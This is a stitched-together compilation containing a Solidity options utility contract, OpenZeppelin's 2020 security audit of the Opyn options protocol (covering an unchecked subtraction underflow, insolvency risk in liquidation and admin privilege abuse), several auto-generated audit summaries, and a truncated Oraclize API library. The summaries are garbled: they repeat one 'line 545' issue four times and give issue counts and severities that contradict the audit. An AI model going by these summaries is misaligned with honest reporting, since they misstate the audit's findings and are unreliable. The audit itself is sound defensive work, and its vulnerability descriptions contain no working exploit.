IERC20(0); } } pragma solidity 0.5.10; import "./lib/CompoundOracleInterface.sol"; import "./lib/UniswapExchangeInterface.sol"; import "./lib/UniswapFactoryInterface.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract OptionsUtils { // defauls are for mainnet UniswapFactoryInterface public UNISWAP_FACTORY = UniswapFactoryInterface( 0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95 ); CompoundOracleInterface public COMPOUND_ORACLE = CompoundOracleInterface( 0x02557a5E05DeFeFFD4cAe6D83eA3d173B272c904 ); constructor (address _uniswapFactory, address _compoundOracle) public { UNISWAP_FACTORY = UniswapFactoryInterface(_uniswapFactory); COMPOUND_ORACLE = CompoundOracleInterface(_compoundOracle); } // TODO: for now gets Uniswap, later update to get other exchanges function getExchange(address _token) public view returns (UniswapExchangeInterface) { UniswapExchangeInterface exchange = UniswapExchangeInterface( UNISWAP_FACTORY.getExchange(_token) ); if (address(exchange) == address(0)) { revert("No payout exchange"); } return exchange; } function isETH(IERC20 _ierc20) public pure returns (bool) { return _ierc20 == IERC20(0); } }
Opyn Contracts Audit Opyn Contracts Audit FEBRUARY 10, 2020 | IN SECURITY AUDITS | BY OPENZEPPELIN SECURITY Opyn is a generalized noncustodial options protocol for Decentralized Finance, or DeFi. The team asked us to review and audit the system. We looked at the code and now publish our results. The audited commit is c34598565cba2bfcf824eb2da63d95c7f5dda4fa and the contracts included in the scope were: OptionsContract.sol , OptionsUtils.sol , and OptionsFactory.sol . The scope did not include the files inside the lib folder, Migrations.sol , and the OptionsExchange.sol . All external code and contract dependencies were assumed to work correctly. Additionally, during this audit, we assumed that the administrators are available, honest, and not compromised. System Overview System Overview The core of the system is in the OptionsContract which defines how options work, and the OptionFactory contract which deploys OptionContract as needed. OptionsContract OptionsContract The OptionsContract defines an ERC20 compliant token called oToken as well as the functions for options. Parameters such as the expiration time, collateral, underlying asset, etc. are set at the deployment stage by the address that creates the option.These parameters can be changed by the admin after deployment. Once an option is deployed, users will be able to provide collateral to their repo (vault) and issue oTokens in return. The system gets the asset prices from the Compound Oracle and requires over collateralization through collateralizationRatio to ensure a safety margin. When the ratio of collateral / underlying assets drops to an unsafe margin, the system allows a liquidation process to help itself stay collateralized. Liquidation allows any user to burn oTokens in exchange for the same value of collateral with a bonus, reducing the oTokens in circulation. Before the option expires, anyone with oTokens can exercise their option to get the promised collateral back by providing underlying assets. After an exercise event, the Repo owners, accounts that have collateral assets in the contract, will be able to collect the proportional remaining collateral along with the underlying assets transferred during exercise. OptionsFactory OptionsFactory The OptionsFactory contract deploys OptionContracts as needed. It defines a white list of assets that can be used as collateral, while ETH and ERC20 tokens can be used as strike or underlying assets. Any user can call the factory contract with the right parameters to deploy a new option contract. The owner of all contracts is the deployer of the factory, and also the admin, which has special power like updating option parameters, whitelists, etc. Next, our audit assessment and recommendations, in order of importance. Update : The Opyn team applied several fixes based on our recommendations and provided us with an updated fix commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e . We address the fixes introduced under each individual issue. Please note we only reviewed specific patches to the issues we reported. The code base underwent some other changes we have not audited, and can be reviewed in depth in a future round of auditing. Critical Severity Critical Severity [C01] [C01] [Fixed] [Fixed] Malicious users could steal from the OptionsContract Malicious users could steal from the OptionsContract contract contract The require statement in Line 249 of OptionContract contract is not using the SafeMath library. Let’s assume that in the OptionsFactory the assets have been already added, that now == 500 , and that UserA calls the createOptionsContract function to create a new type of Option. There, UserA passes to the function the following time parameters: _expiry = 1000 _windowSize = 1001 Using those values, a new OptionsContract is created, and both windowSize and expiry are simply assigned without checks. At this moment, UserB calls openRepo , then addETHCollateral or addERC20Collateral , and then issueOTokens . So far, the only time requirement in all those functions was: require(block.timestamp < expiry); Because 500 < 1000 , it does not revert . UserC received the issued oTokens and let’s supose that the underlying asset dropped its value, so UserC wants to exercise . Here it is the first and only time that windowSize is actually used . The new time requirement is: require(block.timestamp ≥ expiry - windowSize); Because it is not using SafeMath , expiry - windowSize == 1000 - 1001 == (2**256 - 1) - 1 so the statement 500 ≥ (2**256 - 1) is false .For that reason, the put holder cannot exercise his right and the contract will continue until expiry comes, where the repo owner will call claimCollateral and because its requirement is: require(block.timestamp ≥ expiry) UserB can withdraw the collateral, taking the premium without having any obligation to insure UserC with his underlying asset. This problem comes from having a time checkpoint with a dynamic size, as was addressed in the issue “[L06] Confusing time frame for actions” , and for not using the SafeMath library when it is needed. Consider using the SafeMath methods for this operation and fixed time checkpoints along with inner checks during the set up. Update : Fixed. The require statement now uses the SafeMath library . High Severity High Severity [H01] Liquidation process could push the protocol into insolvency [H01] Liquidation process could push the protocol into insolvency Under certain asset price change conditions, the liquidation process could push the protocol into insolvency. The design of the current liquidation process incentivizes liquidators by providing them with a liquidation bonus. However, at times when the protocol is already under collateralization stress, offering a liquidation bonus plus, in Opyn’s case, a protocol fee, will push further the particular Option into insolvency. Essentially these actions work against the original purpose of the liquidation function. In the following chart we explore how the protocol’s insolvency state is affected during a liquidation event, generated by the collateral to oToken price fluctuation, together with 3 variables: collateralizationRatio , liquidationIncentive , and liquidationFee . On the left, we issue Vo value of oTokens with collateral value of Vc : Vc = Vo * CollateralizationRatio On the right, when total collateral value drops to Vc1 , collateralization ratio drops, allowing someone to proceed with the liquidation. Assume that a user provides Lo value of oTokens for liquidation and that the Repo is under liquidationFactor . Then, the amount of collateral that will be deducted is: Lo * (1 + liquidationIncentive + liquidationFee) After this liquidation event, looking at the leftover oToken value and the leftover collateral value, if the leftover the collateral is less than the leftover the oToken value then the protocol is insolvent. Which means:Vc1 - Lo(1 + liquidationIncentive + liquidationFee) < Vo - Lo together with Vc = Vo * collateralizationRatio from the left part of the chart, we can get: Vc1 < Vc/collateralizationRatio + Lo(liquidationIncentive + liquidationFee) Which basically means that when the new value of collateral drops to this level, the liquidation process will push the protocol into insolvency. Plus from this moment on, and because the collateralization ratio is still low, further liquidation events are still allowed. Such events will further push the protocol deeper into insolvency. Consider setting up an offline observation mechanism to ensure liquidation events happen as fast as they can before the price gets closer to the mentioned value. Update : The Opyn team is implementing a liquidator bot to help solve this issue. [H02] [H02] [Partially Fixed] [Partially Fixed] Malicious Admin can steal from the protocol Malicious Admin can steal from the protocol Currently an EOA ( Event Oversight Administrator ) has a lot of privileges over the control of the whole protocol, from setting up initial variables to updating critical values like Oracles and market parameters. For instance, liquidationIncentive , liquidationFactor , liquidationFee , transactionFee , and collateralizationRatio . These privileges render the admin with exceptional power over general users, where it could override parameters set up in the deployment. This design puts the whole protocol in a vulnerable state if the admin account is hacked or an internal admin becomes malicious. For example, a malicious admin could easily steal from the protocol by setting a high liquidationFee . Consider the use of an multi-sig account and time-locks to improve the safety of the contract against the powers of a malicious admin. Update : Partially Fixed in the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e . The team has put some restrictions on the parameter update function which restricts admin power when assigning values. The team has also indicated they are working on a multi-sig solution to further protect the admin account. Medium Severity Medium Severity [M01] [M01] [Fixed] [Fixed] Potential race condition with Repo ownership transfer Potential race condition with Repo ownership transfer Currently a Repo owner can transfer the ownership by calling transferRepoOwnership . A malicious original owner could front run this transaction with another one that puts the Repo in a worse collateralization status, For example, mint more oTokens and remove collateral. This could potentially harm the new owner. Depending on how the arrangement for the ownership transfer has been done and how important this function is and the risk it presents, we recommend the team to consider solutions accordingly such as: implementing a time lock and allow the proposed new owner to accept the ownership, state the risk clearly to users in documentation or remove this function all together. Update : Fixed in the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e where this function is removed. [M02] [M02] [Fixed] [Fixed] Lack of event emissions after sensitive changes Lack of event emissions after sensitive changes It is beneficial for critical functions to trigger events for purposes like record keeping and filtering. However, functions like updateParameters , transferFee , and transferCollateral will not emit an event through inherited ERC20 functions, if the collateral is ETH.Consider double checking all critical functions to see if those trigger events properly. Update : Fixed in the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e where events were added to critical functions. Low Severity Low Severity [L01] [L01] [Fixed] [Fixed] Not following check-effect-interaction pattern Not following check-effect-interaction pattern In the issueOTokens function of the OptionsContract contract a Repo owner can mint new oTokens and send them to a third party. Once the check confirms that the new amount of oTokens is safe, it mints them and transfers them to the destinatary. There is an issue with the order of the operations: First the oTokens are minted, and then the put balance of the Repo is updated . Although a reentrancy cannot happen in this case, to preserve a safer check-effect-interaction pattern , consider inverting the order of those operations. Update : Fixed in the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e where _mint function is only called after vault.oTokensIssued has been updated. [L02] Different behavior between ETH and Tokens collateral [L02] Different behavior between ETH and Tokens collateral The project allows the usage of ETH or ERC20 tokens as collateral. Because ETH is a coin and not a token, it does not have a contract which keeps the account balances nor an address defined for that asset. The project solves this by pretending that ETH is an ERC20 compliant token in the zero address . This is a type of semantic overload over the zero address, which is used for two purposes. 1. to represent ‘ETH contract address’. 2. to show if a token asset is supported or not by checking if the desired asset has changed its address in the tokens mapping from the default zero address. Another problem is that if in the future the project needs to support only ERC20 token collaterals, ETH cannot be removed from the supported assets when the deleteAsset function is called . Consider treating ETH as a different collateral type instead of adapting it to a ERC20 compliant token or add the necessary functionalities to keep up with the token based ones. Update : The Opyn team explained they always plan on supporting ETH as a collateral asset hence didn’t remove it. [L03] Cannot update exponent after deployment [L03] Cannot update exponent after deployment The OptionsContract allows the admin to update parameters such as liquidationIncentive , liquidationFactor , liquidationFee , transactionFee , and collateralizationRatio , by calling the updateParameters function . Nevertheless, only the value of those variables can be changed. The exponent s of those Number variables cannot be changed. Consider letting the function updateParameters to update also the exponent s used in the project. Update : The Opyn team explained that the exponent cap is there on purpose. They don’t anticipate taking a fee lower than 0.01% so the extra precision is unnecessary[L04] [L04] [Fixed] [Fixed] Miscalculated maxCollateralLiquidatable in liquidate Miscalculated maxCollateralLiquidatable in liquidate function function In the OptionsContract , the liquidation function checks if the liquidator is not liquidating more than the Repo ‘s allowance by calculating maxCollateralLiquidatable with the liquidationFactor on the Repo ‘s. However there is a math mistake during the calculation in line 518 : if the liquidationFactor.exponent > 0 , the maxCollateralLiquidatable is calculated as maxCollateralLiquidatable.div(10 ** uint32(liquidationFactor.exponent)) but this should be maxCollateralLiquidatable.mul(10 ** uint32(liquidationFactor.exponent)) instead. This bug is not really exploitable because liquidationFactor should be always ≤ 1 , which means liquidation.exponent should be always < 0. Consider fixing the math issue, or simply remove it from the condition liquidationFactor.exponent > 0 since it should never happen. Update : Fixed in line 630 of the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e . [L05] [L05] [Partially Fixed] [Partially Fixed] Not using SafeMath Not using SafeMath Besides the critical vulnerability found in “[C01] Malicious users could steal with and from the OptionsContract contract” , in OptionsContract there are more places where it is not used or badly used, such as: Line 509 : uint256 amtCollateralToPay = amtCollateral + amtIncentive Line 582 : collateralizationRatio.exponent + strikePrice.exponent Although the first one is unlikely to cause an overflow or underflow, consider using the SafeMath library to eliminate any potential risks. In the last situation, because the variable type is int32 , SafeMath cannot be used there. Consider instead adding extra checks to ensure the operation is not performing any underflow or overflow. Update : Partially Fixed in the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e where first issue is fixed with SafeMath but second issue remains unfixed. [L06] Confusing time frame for actions [L06] Confusing time frame for actions In an option there is a period in which certain actions such as creating repo s , adding collateral , liquidating a repo , or burning oTokens , have to be executed prior the expiration time ( expiry ) of the contract . There is alaso an exercise action that can be done only during a specific time window defined by the windowSize variable (which closes at expiry ). Instead of subtracting the windowSize from expiry to know the start point where exercise can be executed, it is clearer to define 2 variables: startsExercisability and endsExercisability . Consider changing the logic to have a start time where these actions can be executed and an end time where the contract expires. Note: this issue is related to “[C01] Malicious users could steal with and from the OptionsContract contract” and any mitigation should consider both simultaneously.Update : The Opyn team explained the exercise window allows for the existence of both American and European Options. American Options can be exercised at any time until expiry, European Options can only be exercised on the last day or so. [L07] [L07] [Fixed] [Fixed] Repo owner could lose collateral if leftover oTokens Repo owner could lose collateral if leftover oTokens are not burnt before the option expires are not burnt before the option expires Currently, Repo owners are allowed to freely mint oTokens by providing collateral. However, there is no way for the Repo owner to redeem the corresponding collateral for any unsold oTokens after the option expires. The Repo owners are supposed to burn all unsold oTokens before expiry to avoid losing the corresponding collateral. While this design works and makes sense, it is quite risky for the Repo owners and it is unclear that Repo owners are bearing risks of being stuck with their own oTokens. Consider adding more documentation and warnings in the code to further advice Repo owners, or only allow issuing oTokens when a trade occurs. Update : The team confirmed this is an expected behavior, comments are added in line 442 of the follow up commit to ensure users are only issuing oTokens when a trade occurs. [L08] [L08] [Fixed] [Fixed] Factorize Repo ownership into modifier Factorize Repo ownership into modifier In several functions of the OptionsContract , such as issueOTokens , the function is marked as public but further restricts the operation to only the Repo.owner inside the code. Since this pattern appears in several functions, consider implementing a isRepoOwner() modifier to write less error-prone code instead of copying the code to check repo ownership in each function independently. Update : Fixed in the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e where repos was replaced by newly introduced vaults . The function locates targeted vaults through vaults[msg.sender] and runs a check on if current msg.sender has a vault using hasVault(msg.sender) . [L09] [L09] [Fixed] [Fixed] Unbalanced ETH operations Unbalanced ETH operations In OptionsContract contract, there is a payable fallback function that allows ETH to be sent to the contract but there is no way to withdraw. Consider adding a withdraw function to the contract or do not accept ETH in the fallback function. Update : Fixed in the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e where the payable fallback function was removed. [L10] Unbounded loops [L10] Unbounded loops The Repo s and the deployed OptionContract s are registered by pushing the Repo structs and the contract addresses into the repos and optionsContracts arrays respectively. When more Repo s and OptionsContract s are created, these arrays grow in length. Because there is no function that decreases the length of those arrays once those Repo s and OptionsContract s are not needed, it is dangerous to loop through these arrays when they are too big. In the contract OptionsContract the length of the repos array is used twice as a boundary for a for loop. Because anyone can call the public openRepo function , someone could start creating Repo s until the length of repos is too big to be processed in a block. At that moment, the function could not be called anymore.Because the only function that uses the length of the repos array is getReposByOwner , and no other function calls getReposByOwner , the issue will not freeze the contract’s logic. Nevertheless, consider removing unbounded loops from the contract logic in case a child contract uses a function implementing one of the loops. Notes Notes [N01] No way to check liquidation allowance [N01] No way to check liquidation allowance Currently in OptionsContract contract, there is no way to check the maximum liquidation allowance. During a liquidation situation, liquidators have to blindly request an oToken amount they want to liquidate when calling liquidate . Although it is within liquidator’s interest to liquidate as many oTokens as possible, there is no easy way to find out the maximum limit. The liquidate function will revert if liquidators try to liquidate too many oTokens. This design is not very user-friendly for liquidators, and it might cause liquidation events to fail multiple times due to the wrong balance being requested. Consider adding a function to allow liquidators to get the maximum liquidation allowance for a certain Repo , or just allow liquidators to liquidate the maximum amount if their requests are over the maximum limit. [N02] [N02] [Fixed] [Fixed] Usage of SafeMath in non-uint256 variables Usage of SafeMath in non-uint256 variables In the OptionsContract contract, the function liquidate uses the SafeMath library with non- uint256 variables in L518 and 520 where the value is casted from int32 to uint32 . Consider casting to uint256 instead. Later, in the isSafe function ( L592 and 595 ) uint32 values are used along with the SafeMath.mul method. Consider casting the operation to uint256 . Update : Fixed in the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e where all variables mentioned in the issue are casted to uint256. [N03] [N03] [Fixed] [Fixed] oTokens can still be burnt after the contract expires oTokens can still be burnt after the contract expires In OptionsContract , the function burnOTokens should be limited to before the contract expires. There is no need to call this function after it expires, similar to the counterpart actions like issueoTokens , or add and remove collateral. Consider adding a time check in the burnOTokens function. Update : Fixed in the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e where a notExpired modifier is added to the function. [N04] [N04] [Fixed] [Fixed] Change uint to uint256 Change uint to uint256 Throughout the code base, some variables are declared as uint . To favor explicitness, consider changing all instances of uint to uint256 . For example,, the following lines in OptionsContract : Line 200 returns (uint) should be returns (uint256) Line 315 returns (uint[] memory) should be returns (uint256[] memory) Line 316 uint[] should be uint256[] Line 318 uint index = 0 should be uint256 index = 0 Line 327 uint[](count) should be uint256[](count)Update : Fixed in the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e , all issues above are either fixed or removed due to code update. [N05] External contracts addresses should be constants [N05] External contracts addresses should be constants The OptionsUtils contract provides basic functionalities regarding the available exchanges, the oracle, and how to tell if an asset is ETH. Both the Compound Oracle and the Uniswap Factory addresses are stored in 2 public variables called COMPOUND_ORACLE and UNISWAP_FACTORY and those are assigned to the current addresses from the beginning. During the constructor function those variables are overridden using the parameters provided during the deployment, making the original assignments unnecessary. On the other hand, OptionsContract and OptionsExchange are the contracts that inherit OptionsUtils , however, a new OptionsContract will copy the values set in the current OptionsExchange to its COMPOUND_ORACLE and UNISWAP_FACTORY variables. Since there is no way to change these values in OptionsExchange after deployment plus the optionsExchange variable from OptionsFactory cannot be updated , the entire project would need to be re-deployed in order to change those variables. Instead of assigning these values twice, it is good enough to set the COMPOUND_ORACLE and UNISWAP_FACTORY addresses directly in OptionsUtils as constant . Consider declaring the variables as constant . [N06] [N06] [Fixed] [Fixed] Default visibility Default visibility Some state variables in OptionsContract are using the default public visibility. Consider declaring explicitly the visibility of all the variables for better readability. These are some of them: liquidationIncentive , transactionFee , liquidationFactor , liquidationFee , windowSize , totalExercised , totalFee , totalUnderlying , totalCollateral , and collateralExp . Update : Fixed in the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e where state variable visibilities are clearly stated. [N07] [N07] [Fixed] [Fixed] Empty lines Empty lines There are some empty lines inside OptionsContract such as L39 , L98 , and L421 . To favor readability, consider using a linter such as Solhint . Update : Fixed in the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e where empty lines are removed [N08] [N08] [Fixed] [Fixed] Lack of checks Lack of checks Certain functions in this project will execute even if the given parameters are not actually updating any state variable values. For instance, passing zero as the amtToRemove parameter for removeCollateral will cause the function to execute and trigger the RemoveCollateral event. Calling transferRepoOwnership from the OptionsContract with the same address as previous owner will trigger the TransferRepoOwnership event but the owner of the Repo has not changed. Calling transferRepoOwnership with zero address.Creating a new repo by calling createOptionsContract with an expiry in the past or windowSize value larger that the expiry time. Calling the updateParameters function with the same existing or wrong value for liquidationIncentive , liquidationFee , transactionFee , collateralizationRatio , and liquidationFactor . These scenarios could emit useless events or compromise the functionality of the project. Consider adding parameter checks to these functions. Update : Fixed in the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e where proper validations and checks are added. [N9] [N9] [Partially Fixed] [Partially Fixed] Misleading variable names Misleading variable names In OptionsContract , the variable amtCollateralToPayNum is actually the amount of collateral to pay in ETH, not in collateral. Consider renaming it to amtCollateralToPayInEthNum to avoid confusion. In OptionsContract , the isSafe function creates a variable called with the same name as the function . Consider changing the name to stillSafe . In OptionsContract , the getPrice function gets the price of the asset in ETH , but the name where those values are saved suggest the opposite. Consider changing them to collateralToEthPrice and StrikeToEthPrice . Update : Partially Fixed in the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e where some of the variable names have been updated. [N10] [N10] [Fixed] [Fixed] Unknown use of multiple Repos per account Unknown use of multiple Repos per account The OptionsContract allows any user to create a new Repo by calling the openRepo function . However at the moment a single address can create as many Repo s as they want but without getting a explicit benefit. Consider adding to the documentation what are the benefits of doing this, or removing the possibility of having multiple Repo s per account and allowing only one. Update : Fixed in the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e where repos are replaced by vaults and only one vault is allowed per user. [N11] [N11] [Fixed] [Fixed] Inverse order of operations Inverse order of operations In the OptionsUtils contract, the getExchange function creates a pointer to the exchange instance for the queried _token by using the getExchange function from the Uniswap factory contract, and then it checks if the address retrieved from Uniswap’s getExchange is zero . Consider first checking if the address returned by UNISWAP_FACTORY.getExchange(_token) in L26 is zero before linking the queried exchange instance into the local variable exchange . Update : Fixed in line 29 of the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e . [N12] [N12] [Fixed] [Fixed] Mismatch case for payable address Mismatch case for payable address The TransferRepoOwnership event takes the Repo index, the old owner, and the new one. The event is only triggered when the transferRepoOwnership function is called , a function that allows the old owner to change the ownership of the Repo . There is an issue with the way parameters are defined: the new owner is defined as address payable , however the old owner is only an address. Because the function updates the owner variable in the repos array, which is defined as address payable ,consider changing the parameter definition of the event. There is a similar issue in the liquidate function: The Liquidate event is defined using an address parameter, however when it is used in the liquidate function , msg.sender can be payable if the collateral is ETH. Consider updating the variable type in the event. Update : Fixed in the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e . [N13] [N13] [Fixed] [Fixed] Repo owners might not know their collateral balance Repo owners might not know their collateral balance The project team mentioned that they are implementing new code into the getRepoByIndex function to return the collateral balance of a Repo owner. However, it might be confusing for a Repo owner to see their collateral value drops due to other users calling the exercise function. This issue was pointed out to us by the project team and asked for our recommendation. The fact is when the collateral drops, the underlying contained in the contract increases with each exercise call. It might be beneficial to return both the collateral and underlying balances when a Repo owner checks their balance. It is self- explanatory that when other users call exercise , the collateral balance drops while the underlying balance increases. Consider retrieving both balances to the Repo owner to prevent confusions about their balances. Update : Fixed in the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e where the newly added getVault() function returns both the collateral and underlying balances . [N14] [N14] [Partially Fixed] [Partially Fixed] Misleading comments, variable names, and Misleading comments, variable names, and documentation typos documentation typos Since the purpose of the Ethereum Natural Specification (NatSpec) is to describe the code to end users, misleading statements should be considered a violation of the public API. In the audited contracts, several functions have incomplete, or non-existent, docstrings which need to be completed. In OptionsContract : s trikePrice should be strikePrice . There are ToDo comments along the code which shows that part of the functionalities are not ready yet. In L36 , L40 , and L43 a method is used to convert an integer to percentage (using the net percentage without adding the 100%), but in L47 and L162 it used a different method, which is not congruent to the previous one. For example, for the L40 definition 1054 == 105.4% but for the L47 definition, 1054 == 5.4% . Consider using only one method to calculate the percentage. collatera should be collateral . indecies should be indices . In the exercise function a docstring implies that L270 transfers oTokens to the contract, but actually it burns them. Functions that move oTokens from the user account, such as addERC20Collateral and exercise , do not say that the user has to allow the contract to handle their oTokens on his behalf before these functions are called. The docstrings of the addETHCollateral function do not say what the return value is. The revert message in the exercise function mentions the use of pTokens instead of the current oTokens. There are places, such as L14 , L15 , L20 , L26 , L32 , L34 , L36 , and L40 , where it should be explained with more detail what the variable/contract does. For the Number variables, such as the ones in L36 , L40 , L43 , L47 , and L51 , it would be ideal add those examples to the actual Number structure in L20 and explicitly explain the formula that links the value with the exponent .In OptionsExchange : The functions sellPTokens and buyPTokens , along with their _pTokens parameters, implies the use of pTokens instead of oTokens. If these are a different type of tokens, then it should be explained in the documentation. In the whitepaper : “cryptoassets” in the section 1.1 line 2 should be “crypto assets”. “marketplaces marketplace” in the section 3.3.1 paragraph 2 line 4-5 should be “marketplaces”. Update : Partially Fixed in the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e . Some of these issues are fixed in the new commit. [N15] Funds cannot be withdrawn under certain conditions [N15] Funds cannot be withdrawn under certain conditions After the OptionsContract has expired, the forgotten funds in collateral or underlying will remain in the contract forever. Consider adding an extra time checkpoint, such as terminated , when it would be possible to withdraw the forgotten funds in the contract after this period is reached. [N16] Unnecessary code [N16] Unnecessary code There are some uncessary code through out the project, for example There is an unnecessary return operation in the issueOTokens function of the OptionsContract contract, the function definition does not specify any returned value. The OptionsContract defines the same isEth function that was inherited from the OptionsUtils contract . In the OptionsFactory it is imported the OptionsUtils contract to it but it is never used. Consider removing all unnecessary code. [N17] [N17] [Fixed] [Fixed] Unneeded assignment Unneeded assignment In the OptionsContract contract, the variable oTokenExchangeRate is defined and assigned but then, during the constructor , it is again assigned with the parameter value _oTokenExchangeExp . Because the first assignment will not matter when the contract is deployed, consider removing it during the declaration of the variable. Update : Fixed in the follow-up commit 3adfd9afa6d463869d9e0a78cc7f316ae34eb89e where the oTokenExchangeRate value is only assigned once in the Constructor. Conclusion Conclusion One critical and two high severity issues were found. Some changes were proposed to follow best practices and reduce potential attack surface. Update : The Opyn team has fixed the critical issue and implemented partial fixes and monitoring solutions for all high issues in their follow up commit.Security Security Audits Audits If you are interested in smart contract security, you can continue the discussion in our forum , or even better, join the team If you are building a project of your own and would like to request a security audit, please do so here .RELATED POSTS P P o o o o l l T T o o g g e e t t h h e e r r A A u u d d i i t t T h e P o o l T o g e t h e r t e a m a s k e d u SECURITY AUDITS C C o o m m p p o o u u n n d d A A u u d d i i t t T h e C o m p o SECURITY AUDITS Products Contracts Defender Security Security Audits Learn Docs Forum Ethernaut Company Website About Jobs Logo Kit ©2021. All rights reserved | Privacy | Terms of Service
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 0 - Critical: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return value in OptionsContract.sol: line 545 2.b Fix (one line with code reference) - Added check for return value in OptionsContract.sol: line 545 3.a Problem (one line with code reference) - Unchecked return value in OptionsContract.sol: line 545 3.b Fix (one line with code reference) - Added check for return value in OptionsContract.sol: line 545 4.a Problem (one line with code reference) - Unchecked return value in OptionsContract.sol: line 545 4.b Fix (one line with code reference) - Added check for return value in OptionsContract.sol: line 545 5.a Problem (one line with code reference) - Unchecked return value in OptionsContract.sol: line 545 5.b Fix (one line with code reference) - Added check for return value in OptionsContract.sol Issues Count of Minor/Moderate/Major/Critical - Minor: 0 - Moderate: 0 - Major: 0 - Critical: 1 Critical 5.a Problem: Malicious users could steal from the OptionsContract contract as the require statement in Line 249 of OptionContract contract is not using the SafeMath library. 5.b Fix: Fixed. The require statement now uses the SafeMath library. High Severity 6.a Problem: Liquidation process could push the protocol into insolvency. 6.b Fix: No fix provided. Observations: The code base underwent some other changes we have not audited, and can be reviewed in depth in a future round of auditing. Conclusion: The OptionsContract contract is now using the SafeMath library, however, the liquidation process could still push the protocol into insolvency. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Malicious Admin can steal from the protocol 2.b Fix: Use of an multi-sig account and time-locks Moderate: 3.a Problem: Liquidation events can push the protocol into insolvency 3.b Fix: Set up an offline observation mechanism Observations: - Liquidation events can push the protocol into insolvency - Malicious Admin can steal from the protocol Conclusion: The Opyn team has implemented a liquidator bot and put some restrictions on the parameter update function to help solve the issue of liquidation events pushing the protocol into insolvency. Additionally, the use of an multi-sig account and time-locks can help improve the safety of the contract against the powers of a malicious admin.
// <ORACLIZE_API> /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity ^0.4.0;//please import oraclizeAPI_pre0.4.sol when solidity < 0.4.0 contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); function randomDS_getSessionPubKeyHash() returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); 